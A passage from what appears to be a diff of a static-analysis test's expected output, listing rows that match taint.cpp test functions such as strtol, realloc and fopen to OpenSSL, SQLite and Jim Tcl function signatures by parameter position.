*,int) | | ssl_set_sig_mask | 2 | +| taint.cpp:725:10:725:15 | strtol | (unsigned char *,const unsigned char *,int) | | EVP_DecodeBlock | 2 | +| taint.cpp:725:10:725:15 | strtol | (unsigned char *,const unsigned char *,int) | | EVP_EncodeBlock | 2 | +| taint.cpp:725:10:725:15 | strtol | (unsigned char *,uint64_t,int) | | ossl_i2c_uint64_int | 2 | +| taint.cpp:725:10:725:15 | strtol | (unsigned int,int,int) | | ossl_blob_length | 2 | +| taint.cpp:725:10:725:15 | strtol | (unsigned long *,const BIGNUM *,int) | | bn_copy_words | 2 | +| taint.cpp:725:10:725:15 | strtol | (unsigned long *,const unsigned long *,int) | | bn_sqr_words | 2 | +| taint.cpp:725:10:725:15 | strtol | (void *,const char *,int) | | CRYPTO_secure_free | 2 | +| taint.cpp:727:6:727:16 | test_strtol | (char *) | | SRP_VBASE_new | 0 | +| taint.cpp:727:6:727:16 | test_strtol | (char *) | | defossilize | 0 | +| taint.cpp:727:6:727:16 | test_strtol | (char *) | | make_uppercase | 0 | +| taint.cpp:727:6:727:16 | test_strtol | (char *) | | next_item | 0 | | taint.cpp:727:6:727:16 | test_strtol | (char *) | CStringT | CStringT | 0 | +| taint.cpp:735:7:735:12 | malloc | (size_t) | | EVP_PKEY_meth_get0 | 0 | +| taint.cpp:735:7:735:12 | malloc | (size_t) | | ossl_get_extension_type | 0 | +| taint.cpp:735:7:735:12 | malloc | (size_t) | | ossl_param_bytes_to_blocks | 0 | +| taint.cpp:735:7:735:12 | malloc | (size_t) | | ossl_quic_sstream_new | 0 | +| taint.cpp:735:7:735:12 | malloc | (size_t) | | ssl_cert_new | 0 | +| taint.cpp:735:7:735:12 | malloc | (unsigned long) | | BN_num_bits_word | 0 | +| taint.cpp:735:7:735:12 | malloc | (unsigned long) | | BUF_MEM_new_ex | 0 | +| taint.cpp:736:7:736:13 | realloc | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_cert_flags | 1 | +| taint.cpp:736:7:736:13 | realloc | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_flags | 1 | +| taint.cpp:736:7:736:13 | realloc | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_nm_flags | 1 | +| taint.cpp:736:7:736:13 | realloc | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_oid_flags | 1 | +| taint.cpp:736:7:736:13 | realloc | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_str_flags | 1 | +| taint.cpp:736:7:736:13 | realloc | (BIGNUM *,unsigned long) | | BN_add_word | 1 | +| taint.cpp:736:7:736:13 | realloc | (BIGNUM *,unsigned long) | | BN_div_word | 1 | +| taint.cpp:736:7:736:13 | realloc | (BIGNUM *,unsigned long) | | BN_set_word | 1 | +| taint.cpp:736:7:736:13 | realloc | (BIGNUM *,unsigned long) | | BN_sub_word | 1 | +| taint.cpp:736:7:736:13 | realloc | (BN_BLINDING *,unsigned long) | | BN_BLINDING_set_flags | 1 | +| taint.cpp:736:7:736:13 | realloc | (BUF_MEM *,size_t) | | BUF_MEM_grow | 1 | +| taint.cpp:736:7:736:13 | realloc | (BUF_MEM *,size_t) | | BUF_MEM_grow_clean | 1 | +| taint.cpp:736:7:736:13 | realloc | (CONF_IMODULE *,unsigned long) | | CONF_imodule_set_flags | 1 | +| taint.cpp:736:7:736:13 | realloc | (EVP_CIPHER *,unsigned long) | | EVP_CIPHER_meth_set_flags | 1 | +| taint.cpp:736:7:736:13 | realloc | (EVP_MD *,unsigned long) | | EVP_MD_meth_set_flags | 1 | +| taint.cpp:736:7:736:13 | realloc | (HMAC_CTX *,unsigned long) | | HMAC_CTX_set_flags | 1 | +| taint.cpp:736:7:736:13 | realloc | (OPENSSL_INIT_SETTINGS *,unsigned long) | | OPENSSL_INIT_set_config_file_flags | 1 | +| taint.cpp:736:7:736:13 | realloc | (OPENSSL_LHASH *,unsigned long) | | OPENSSL_LH_set_down_load | 1 | +| taint.cpp:736:7:736:13 | realloc | (OSSL_HPKE_SUITE,size_t) | | OSSL_HPKE_get_ciphertext_size | 1 | +| taint.cpp:736:7:736:13 | realloc | (OSSL_HTTP_REQ_CTX *,size_t) | | OSSL_HTTP_REQ_CTX_set_max_response_hdr_lines | 1 | +| taint.cpp:736:7:736:13 | realloc | (OSSL_HTTP_REQ_CTX *,unsigned long) | | OSSL_HTTP_REQ_CTX_set_max_response_length | 1 | +| taint.cpp:736:7:736:13 | realloc | (OSSL_LIB_CTX *,size_t) | | ossl_quic_lcidm_new | 1 | +| taint.cpp:736:7:736:13 | realloc | (OSSL_PARAM *,size_t) | | OSSL_PARAM_set_size_t | 1 | +| taint.cpp:736:7:736:13 | realloc | (OSSL_PARAM *,unsigned long) | | OSSL_PARAM_set_ulong | 1 | +| taint.cpp:736:7:736:13 | realloc | (OSSL_PQUEUE *,size_t) | | ossl_pqueue_remove | 1 | +| taint.cpp:736:7:736:13 | realloc | (OSSL_PROVIDER *,size_t) | | ossl_provider_set_operation_bit | 1 | +| taint.cpp:736:7:736:13 | realloc | (OSSL_QTX *,size_t) | | ossl_qtx_set_mdpl | 1 | +| taint.cpp:736:7:736:13 | realloc | (OSSL_QUIC_TX_PACKETISER *,size_t) | | ossl_quic_tx_packetiser_add_unvalidated_credit | 1 | +| taint.cpp:736:7:736:13 | realloc | (OSSL_QUIC_TX_PACKETISER *,size_t) | | ossl_quic_tx_packetiser_consume_unvalidated_credit | 1 | +| taint.cpp:736:7:736:13 | realloc | (OSSL_QUIC_TX_PACKETISER *,size_t) | | ossl_quic_tx_packetiser_record_received_closing_bytes | 1 | +| taint.cpp:736:7:736:13 | realloc | (OSSL_RECORD_LAYER *,size_t) | | tls_set_max_frag_len | 1 | +| taint.cpp:736:7:736:13 | realloc | (OSSL_RECORD_LAYER *,size_t) | | tls_set_max_pipelines | 1 | +| taint.cpp:736:7:736:13 | realloc | (QUIC_RSTREAM *,size_t) | | ossl_quic_rstream_release_record | 1 | +| taint.cpp:736:7:736:13 | realloc | (QUIC_RSTREAM *,size_t) | | ossl_quic_rstream_resize_rbuf | 1 | +| taint.cpp:736:7:736:13 | realloc | (QUIC_RXFC *,size_t) | | ossl_quic_rxfc_set_max_window_size | 1 | +| taint.cpp:736:7:736:13 | realloc | (QUIC_SSTREAM *,size_t) | | ossl_quic_sstream_set_buffer_size | 1 | +| taint.cpp:736:7:736:13 | realloc | (QUIC_STREAM_MAP *,size_t) | | ossl_quic_stream_map_set_rr_stepping | 1 | +| taint.cpp:736:7:736:13 | realloc | (RAND_POOL *,size_t) | | ossl_rand_pool_add_begin | 1 | +| taint.cpp:736:7:736:13 | realloc | (SIPHASH *,size_t) | | SipHash_set_hash_size | 1 | +| taint.cpp:736:7:736:13 | realloc | (SSL *,size_t) | | SSL_set_block_padding | 1 | +| taint.cpp:736:7:736:13 | realloc | (SSL *,size_t) | | SSL_set_default_read_buffer_len | 1 | +| taint.cpp:736:7:736:13 | realloc | (SSL *,size_t) | | SSL_set_num_tickets | 1 | +| taint.cpp:736:7:736:13 | realloc | (SSL *,unsigned long) | | SSL_dane_clear_flags | 1 | +| taint.cpp:736:7:736:13 | realloc | (SSL *,unsigned long) | | SSL_dane_set_flags | 1 | +| taint.cpp:736:7:736:13 | realloc | (SSL_CONNECTION *,unsigned long) | | tls1_check_ec_tmp_key | 1 | +| taint.cpp:736:7:736:13 | realloc | (SSL_CTX *,size_t) | | SSL_CTX_set_block_padding | 1 | +| taint.cpp:736:7:736:13 | realloc | (SSL_CTX *,size_t) | | SSL_CTX_set_default_read_buffer_len | 1 | +| taint.cpp:736:7:736:13 | realloc | (SSL_CTX *,size_t) | | SSL_CTX_set_num_tickets | 1 | +| taint.cpp:736:7:736:13 | realloc | (SSL_CTX *,unsigned long) | | SSL_CTX_dane_clear_flags | 1 | +| taint.cpp:736:7:736:13 | realloc | (SSL_CTX *,unsigned long) | | SSL_CTX_dane_set_flags | 1 | +| taint.cpp:736:7:736:13 | realloc | (WPACKET *,size_t) | | WPACKET_init_null | 1 | +| taint.cpp:736:7:736:13 | realloc | (WPACKET *,size_t) | | WPACKET_set_max_size | 1 | +| taint.cpp:736:7:736:13 | realloc | (WPACKET *,size_t) | | WPACKET_start_sub_packet_len__ | 1 | +| taint.cpp:736:7:736:13 | realloc | (WPACKET *,size_t) | | ossl_quic_wire_encode_padding | 1 | +| taint.cpp:736:7:736:13 | realloc | (X509_STORE *,unsigned long) | | X509_STORE_set_flags | 1 | +| taint.cpp:736:7:736:13 | realloc | (X509_STORE_CTX *,unsigned long) | | X509_STORE_CTX_set_flags | 1 | +| taint.cpp:736:7:736:13 | realloc | (X509_VERIFY_PARAM *,unsigned long) | | X509_VERIFY_PARAM_clear_flags | 1 | +| taint.cpp:736:7:736:13 | realloc | (X509_VERIFY_PARAM *,unsigned long) | | X509_VERIFY_PARAM_set_flags | 1 | +| taint.cpp:736:7:736:13 | realloc | (char *,size_t) | | RAND_file_name | 1 | +| taint.cpp:736:7:736:13 | realloc | (const BIGNUM *,unsigned long) | | BN_mod_word | 1 | +| taint.cpp:736:7:736:13 | realloc | (const char *,size_t) | | OPENSSL_strnlen | 1 | +| taint.cpp:736:7:736:13 | realloc | (const uint8_t *,size_t) | | FuzzerTestOneInput | 1 | +| taint.cpp:736:7:736:13 | realloc | (const uint8_t *,size_t) | | ossl_ed448_pubkey_verify | 1 | +| taint.cpp:736:7:736:13 | realloc | (int,size_t) | | ossl_calculate_comp_expansion | 1 | +| taint.cpp:736:7:736:13 | realloc | (uint8_t *,size_t) | | ossl_fnv1a_hash | 1 | +| taint.cpp:736:7:736:13 | realloc | (void *,size_t) | | JimDefaultAllocator | 0 | +| taint.cpp:736:7:736:13 | realloc | (void *,size_t) | | JimDefaultAllocator | 1 | +| taint.cpp:758:5:758:11 | sprintf | (Jim_Interp *,const char *,...) | | Jim_SetResultFormatted | 1 | +| taint.cpp:758:5:758:11 | sprintf | (Jim_Interp *,const char *,...) | | Jim_SetResultFormatted | 2 | +| taint.cpp:760:6:760:23 | call_sprintf_twice | (ARGS *,char *) | | chopup_args | 1 | +| taint.cpp:760:6:760:23 | call_sprintf_twice | (BIO *,char *) | | BIO_set_callback_arg | 1 | +| taint.cpp:760:6:760:23 | call_sprintf_twice | (SRP_VBASE *,char *) | | SRP_VBASE_get1_by_user | 1 | +| taint.cpp:760:6:760:23 | call_sprintf_twice | (SRP_VBASE *,char *) | | SRP_VBASE_get_by_user | 1 | +| taint.cpp:760:6:760:23 | call_sprintf_twice | (SSL_CTX *,char *) | | SSL_CTX_set_srp_password | 1 | +| taint.cpp:760:6:760:23 | call_sprintf_twice | (SSL_CTX *,char *) | | SSL_CTX_set_srp_username | 1 | +| taint.cpp:760:6:760:23 | call_sprintf_twice | (const char *,char *) | | sha1sum_file | 1 | +| taint.cpp:760:6:760:23 | call_sprintf_twice | (const char *,char *) | | sha3sum_file | 1 | +| taint.cpp:760:6:760:23 | call_sprintf_twice | (unsigned long,char *) | | ERR_error_string | 1 | +| taint.cpp:782:7:782:11 | fopen | (ASN1_GENERALIZEDTIME *,const char *) | | ASN1_GENERALIZEDTIME_set_string | 1 | +| taint.cpp:782:7:782:11 | fopen | (ASN1_TIME *,const char *) | | ASN1_TIME_set_string | 1 | +| taint.cpp:782:7:782:11 | fopen | (ASN1_TIME *,const char *) | | ASN1_TIME_set_string_X509 | 1 | +| taint.cpp:782:7:782:11 | fopen | (ASN1_UTCTIME *,const char *) | | ASN1_UTCTIME_set_string | 1 | +| taint.cpp:782:7:782:11 | fopen | (BIGNUM **,const char *) | | BN_asc2bn | 1 | +| taint.cpp:782:7:782:11 | fopen | (BIGNUM **,const char *) | | BN_dec2bn | 1 | +| taint.cpp:782:7:782:11 | fopen | (BIGNUM **,const char *) | | BN_hex2bn | 1 | +| taint.cpp:782:7:782:11 | fopen | (CONF *,const char *) | | TS_CONF_get_tsa_section | 1 | +| taint.cpp:782:7:782:11 | fopen | (CONF *,const char *) | | _CONF_new_section | 1 | +| taint.cpp:782:7:782:11 | fopen | (DH_METHOD *,const char *) | | DH_meth_set1_name | 1 | +| taint.cpp:782:7:782:11 | fopen | (DSA_METHOD *,const char *) | | DSA_meth_set1_name | 1 | +| taint.cpp:782:7:782:11 | fopen | (DSO *,const char *) | | DSO_convert_filename | 1 | +| taint.cpp:782:7:782:11 | fopen | (DSO *,const char *) | | DSO_set_filename | 1 | +| taint.cpp:782:7:782:11 | fopen | (ENGINE *,const char *) | | ENGINE_set_id | 1 | +| taint.cpp:782:7:782:11 | fopen | (ENGINE *,const char *) | | ENGINE_set_name | 1 | +| taint.cpp:782:7:782:11 | fopen | (ENGINE *,const char *) | | OSSL_STORE_LOADER_new | 1 | +| taint.cpp:782:7:782:11 | fopen | (EVP_PKEY *,const char *) | | CTLOG_new | 1 | +| taint.cpp:782:7:782:11 | fopen | (EVP_PKEY_CTX *,const char *) | | app_paramgen | 1 | +| taint.cpp:782:7:782:11 | fopen | (EVP_PKEY_CTX *,const char *) | | pkey_ctrl_string | 1 | +| taint.cpp:782:7:782:11 | fopen | (Jim_Interp *,const char *) | | Jim_Eval | 1 | +| taint.cpp:782:7:782:11 | fopen | (Jim_Interp *,const char *) | | Jim_EvalFile | 1 | +| taint.cpp:782:7:782:11 | fopen | (Jim_Interp *,const char *) | | Jim_EvalFileGlobal | 1 | +| taint.cpp:782:7:782:11 | fopen | (Jim_Interp *,const char *) | | Jim_EvalGlobal | 1 | +| taint.cpp:782:7:782:11 | fopen | (OPENSSL_DIR_CTX **,const char *) | | OPENSSL_DIR_read | 1 | +| taint.cpp:782:7:782:11 | fopen | (OPENSSL_INIT_SETTINGS *,const char *) | | OPENSSL_INIT_set_config_appname | 1 | +| taint.cpp:782:7:782:11 | fopen | (OPENSSL_INIT_SETTINGS *,const char *) | | OPENSSL_INIT_set_config_filename | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_no_proxy | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_proxy | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_server | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_serverPath | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_DECODER_CTX *,const char *) | | OSSL_DECODER_CTX_set_input_structure | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_DECODER_CTX *,const char *) | | OSSL_DECODER_CTX_set_input_type | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_ENCODER_CTX *,const char *) | | OSSL_ENCODER_CTX_set_output_structure | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_ENCODER_CTX *,const char *) | | OSSL_ENCODER_CTX_set_output_type | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_JSON_ENC *,const char *) | | ossl_json_key | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_JSON_ENC *,const char *) | | ossl_json_str | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_LIB_CTX *,const char *) | | CMS_ContentInfo_new_ex | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_LIB_CTX *,const char *) | | CTLOG_STORE_new_ex | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_LIB_CTX *,const char *) | | CT_POLICY_EVAL_CTX_new_ex | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_LIB_CTX *,const char *) | | EC_KEY_new_ex | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_CTX_new | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_MSG_new | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_SRV_CTX_new | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_LIB_CTX *,const char *) | | OSSL_PROVIDER_load | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_LIB_CTX *,const char *) | | PKCS7_new_ex | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_LIB_CTX *,const char *) | | SCT_CTX_new | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_LIB_CTX *,const char *) | | TS_RESP_CTX_new_ex | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_LIB_CTX *,const char *) | | X509_CRL_new_ex | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_LIB_CTX *,const char *) | | X509_PUBKEY_new_ex | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_LIB_CTX *,const char *) | | X509_REQ_new_ex | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_LIB_CTX *,const char *) | | X509_STORE_CTX_new_ex | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_LIB_CTX *,const char *) | | X509_new_ex | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_LIB_CTX *,const char *) | | ossl_cmp_mock_srv_new | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_LIB_CTX *,const char *) | | ossl_cms_Data_create | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_LIB_CTX *,const char *) | | ossl_parse_property | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_PARAM *,const char *) | | OSSL_PARAM_locate | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_PARAM *,const char *) | | OSSL_PARAM_set_utf8_ptr | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_PARAM *,const char *) | | OSSL_PARAM_set_utf8_string | 1 | +| taint.cpp:782:7:782:11 | fopen | (OSSL_PROVIDER *,const char *) | | ossl_provider_set_module_path | 1 | +| taint.cpp:782:7:782:11 | fopen | (PKCS7 *,const char *) | | ossl_pkcs7_set1_propq | 1 | +| taint.cpp:782:7:782:11 | fopen | (RSA_METHOD *,const char *) | | RSA_meth_set1_name | 1 | +| taint.cpp:782:7:782:11 | fopen | (SSL *,const char *) | | SSL_add1_host | 1 | +| taint.cpp:782:7:782:11 | fopen | (SSL *,const char *) | | SSL_set1_host | 1 | +| taint.cpp:782:7:782:11 | fopen | (SSL *,const char *) | | SSL_set_cipher_list | 1 | +| taint.cpp:782:7:782:11 | fopen | (SSL *,const char *) | | SSL_use_psk_identity_hint | 1 | +| taint.cpp:782:7:782:11 | fopen | (SSL_CONF_CTX *,const char *) | | SSL_CONF_CTX_set1_prefix | 1 | +| taint.cpp:782:7:782:11 | fopen | (SSL_CONF_CTX *,const char *) | | SSL_CONF_cmd_value_type | 1 | +| taint.cpp:782:7:782:11 | fopen | (SSL_CTX *,const char *) | | SSL_CTX_set_cipher_list | 1 | +| taint.cpp:782:7:782:11 | fopen | (SSL_CTX *,const char *) | | SSL_CTX_use_psk_identity_hint | 1 | +| taint.cpp:782:7:782:11 | fopen | (SSL_CTX *,const char *) | | ossl_quic_set_diag_title | 1 | +| taint.cpp:782:7:782:11 | fopen | (SSL_SESSION *,const char *) | | SSL_SESSION_set1_hostname | 1 | +| taint.cpp:782:7:782:11 | fopen | (UI *,const char *) | | UI_add_error_string | 1 | +| taint.cpp:782:7:782:11 | fopen | (UI *,const char *) | | UI_add_info_string | 1 | +| taint.cpp:782:7:782:11 | fopen | (UI *,const char *) | | UI_dup_error_string | 1 | +| taint.cpp:782:7:782:11 | fopen | (UI *,const char *) | | UI_dup_info_string | 1 | +| taint.cpp:782:7:782:11 | fopen | (X509 *,const char *) | | x509_ctrl_string | 1 | +| taint.cpp:782:7:782:11 | fopen | (X509_REQ *,const char *) | | x509_req_ctrl_string | 1 | +| taint.cpp:782:7:782:11 | fopen | (X509_VERIFY_PARAM *,const char *) | | X509_VERIFY_PARAM_set1_ip_asc | 1 | +| taint.cpp:782:7:782:11 | fopen | (X509_VERIFY_PARAM *,const char *) | | X509_VERIFY_PARAM_set1_name | 1 | +| taint.cpp:782:7:782:11 | fopen | (const OSSL_PARAM *,const char *) | | OSSL_PARAM_locate_const | 1 | +| taint.cpp:782:7:782:11 | fopen | (const char *,const char *) | | Configcmp | 0 | +| taint.cpp:782:7:782:11 | fopen | (const char *,const char *) | | Configcmp | 1 | +| taint.cpp:782:7:782:11 | fopen | (const char *,const char *) | | DES_crypt | 0 | +| taint.cpp:782:7:782:11 | fopen | (const char *,const char *) | | DES_crypt | 1 | +| taint.cpp:782:7:782:11 | fopen | (const char *,const char *) | | OPENSSL_strcasecmp | 0 | +| taint.cpp:782:7:782:11 | fopen | (const char *,const char *) | | OPENSSL_strcasecmp | 1 | +| taint.cpp:782:7:782:11 | fopen | (const char *,const char *) | | get_passwd | 0 | +| taint.cpp:782:7:782:11 | fopen | (const char *,const char *) | | get_passwd | 1 | +| taint.cpp:782:7:782:11 | fopen | (const char *,const char *) | | openssl_fopen | 0 | +| taint.cpp:782:7:782:11 | fopen | (const char *,const char *) | | openssl_fopen | 1 | +| taint.cpp:782:7:782:11 | fopen | (const char *,const char *) | | ossl_pem_check_suffix | 0 | +| taint.cpp:782:7:782:11 | fopen | (const char *,const char *) | | ossl_pem_check_suffix | 1 | +| taint.cpp:782:7:782:11 | fopen | (const char *,const char *) | | ossl_v3_name_cmp | 0 | +| taint.cpp:782:7:782:11 | fopen | (const char *,const char *) | | ossl_v3_name_cmp | 1 | +| taint.cpp:782:7:782:11 | fopen | (const char *,const char *) | | sqlite3_strglob | 0 | +| taint.cpp:782:7:782:11 | fopen | (const char *,const char *) | | sqlite3_strglob | 1 | +| taint.cpp:782:7:782:11 | fopen | (const char *,const char *) | | sqlite3_stricmp | 0 | +| taint.cpp:782:7:782:11 | fopen | (const char *,const char *) | | sqlite3_stricmp | 1 | +| taint.cpp:782:7:782:11 | fopen | (int,const char *) | | BIO_meth_new | 1 | +| taint.cpp:782:7:782:11 | fopen | (lemon *,const char *) | | file_makename | 1 | +| taint.cpp:782:7:782:11 | fopen | (size_t *,const char *) | | next_protos_parse | 1 | +| taint.cpp:782:7:782:11 | fopen | (sqlite3 *,const char *) | | sqlite3_declare_vtab | 1 | +| taint.cpp:782:7:782:11 | fopen | (sqlite3 *,const char *) | | sqlite3_get_clientdata | 1 | +| taint.cpp:782:7:782:11 | fopen | (sqlite3 *,const char *) | | sqlite3_wal_checkpoint | 1 | +| taint.cpp:782:7:782:11 | fopen | (sqlite3_intck *,const char *) | | sqlite3_intck_test_sql | 1 | +| taint.cpp:782:7:782:11 | fopen | (sqlite3_stmt *,const char *) | | sqlite3_bind_parameter_index | 1 | +| taint.cpp:782:7:782:11 | fopen | (sqlite3_str *,const char *) | | sqlite3_str_appendall | 1 | +| taint.cpp:782:7:782:11 | fopen | (sqlite3_value *,const char *) | | sqlite3_value_pointer | 1 | +| taint.cpp:782:7:782:11 | fopen | (unsigned char *,const char *) | | ossl_a2i_ipadd | 1 | +| taint.cpp:782:7:782:11 | fopen | (unsigned long *,const char *) | | set_cert_ex | 1 | +| taint.cpp:782:7:782:11 | fopen | (unsigned long *,const char *) | | set_name_ex | 1 | +| taint.cpp:783:5:783:11 | fopen_s | (CTLOG **,const char *,const char *) | | CTLOG_new_from_base64 | 1 | +| taint.cpp:783:5:783:11 | fopen_s | (CTLOG **,const char *,const char *) | | CTLOG_new_from_base64 | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (ENGINE *,const char *,const char *) | | make_engine_uri | 1 | +| taint.cpp:783:5:783:11 | fopen_s | (ENGINE *,const char *,const char *) | | make_engine_uri | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (EVP_PKEY_CTX *,const char *,const char *) | | EVP_PKEY_CTX_ctrl_str | 1 | +| taint.cpp:783:5:783:11 | fopen_s | (EVP_PKEY_CTX *,const char *,const char *) | | EVP_PKEY_CTX_ctrl_str | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (FFC_PARAMS *,const char *,const char *) | | ossl_ffc_set_digest | 1 | +| taint.cpp:783:5:783:11 | fopen_s | (FFC_PARAMS *,const char *,const char *) | | ossl_ffc_set_digest | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (Jim_Interp *,Jim_Obj *,const char *) | | Jim_CompareStringImmediate | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (Jim_Interp *,const char *,const char *) | | Jim_SetVariableStrWithStr | 1 | +| taint.cpp:783:5:783:11 | fopen_s | (Jim_Interp *,const char *,const char *) | | Jim_SetVariableStrWithStr | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (OSSL_CMP_MSG *,OSSL_LIB_CTX *,const char *) | | ossl_cmp_msg_set0_libctx | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (OSSL_DECODER *,void *,const char *) | | ossl_decoder_instance_new_forprov | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (OSSL_LIB_CTX *,EVP_PKEY *,const char *) | | EVP_PKEY_CTX_new_from_pkey | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (OSSL_LIB_CTX *,const char *,const char *) | | EVP_PKEY_CTX_new_from_name | 1 | +| taint.cpp:783:5:783:11 | fopen_s | (OSSL_LIB_CTX *,const char *,const char *) | | EVP_PKEY_CTX_new_from_name | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (OSSL_LIB_CTX *,const char *,const char *) | | ossl_slh_dsa_key_new | 1 | +| taint.cpp:783:5:783:11 | fopen_s | (OSSL_LIB_CTX *,const char *,const char *) | | ossl_slh_dsa_key_new | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (OSSL_NAMEMAP *,int,const char *) | | ossl_namemap_add_name | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (PROV_CTX *,const char *,const char *) | | ossl_prov_ctx_get_param | 1 | +| taint.cpp:783:5:783:11 | fopen_s | (PROV_CTX *,const char *,const char *) | | ossl_prov_ctx_get_param | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (SRP_user_pwd *,const char *,const char *) | | SRP_user_pwd_set1_ids | 1 | +| taint.cpp:783:5:783:11 | fopen_s | (SRP_user_pwd *,const char *,const char *) | | SRP_user_pwd_set1_ids | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (SSL_CONF_CTX *,const char *,const char *) | | SSL_CONF_cmd | 1 | +| taint.cpp:783:5:783:11 | fopen_s | (SSL_CONF_CTX *,const char *,const char *) | | SSL_CONF_cmd | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (UI *,UI_STRING *,const char *) | | UI_set_result | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (UI *,const char *,const char *) | | UI_construct_prompt | 1 | +| taint.cpp:783:5:783:11 | fopen_s | (UI *,const char *,const char *) | | UI_construct_prompt | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (X509 *,OSSL_LIB_CTX *,const char *) | | ossl_x509_set0_libctx | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (X509V3_EXT_METHOD *,X509V3_CTX *,const char *) | | s2i_ASN1_IA5STRING | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (X509V3_EXT_METHOD *,X509V3_CTX *,const char *) | | s2i_ASN1_UTF8STRING | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (X509_CRL *,OSSL_LIB_CTX *,const char *) | | ossl_x509_crl_set0_libctx | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (X509_REQ *,OSSL_LIB_CTX *,const char *) | | ossl_x509_req_set0_libctx | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (const ASN1_ITEM *,OSSL_LIB_CTX *,const char *) | | ASN1_item_new_ex | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (const EVP_CIPHER *,OSSL_LIB_CTX *,const char *) | | CMS_AuthEnvelopedData_create_ex | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (const EVP_CIPHER *,OSSL_LIB_CTX *,const char *) | | CMS_EnvelopedData_create_ex | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (const EVP_MD *,OSSL_LIB_CTX *,const char *) | | ossl_cms_DigestedData_create | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (const OSSL_PARAM[],OSSL_LIB_CTX *,const char *) | | EC_GROUP_new_from_params | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (const OSSL_PROPERTY_LIST *,OSSL_LIB_CTX *,const char *) | | ossl_property_find_property | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (const PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | EVP_PKCS82PKEY_ex | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (const PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | ossl_ec_key_from_pkcs8 | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (const PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | ossl_ecx_key_from_pkcs8 | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (const PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | ossl_rsa_key_from_pkcs8 | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (const PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *) | | PKCS12_SAFEBAG_get1_cert_ex | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (const PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *) | | PKCS12_SAFEBAG_get1_crl_ex | 2 | +| taint.cpp:783:5:783:11 | fopen_s | (const QUIC_TSERVER_ARGS *,const char *,const char *) | | ossl_quic_tserver_new | 1 | +| taint.cpp:783:5:783:11 | fopen_s | (const QUIC_TSERVER_ARGS *,const char *,const char *) | | 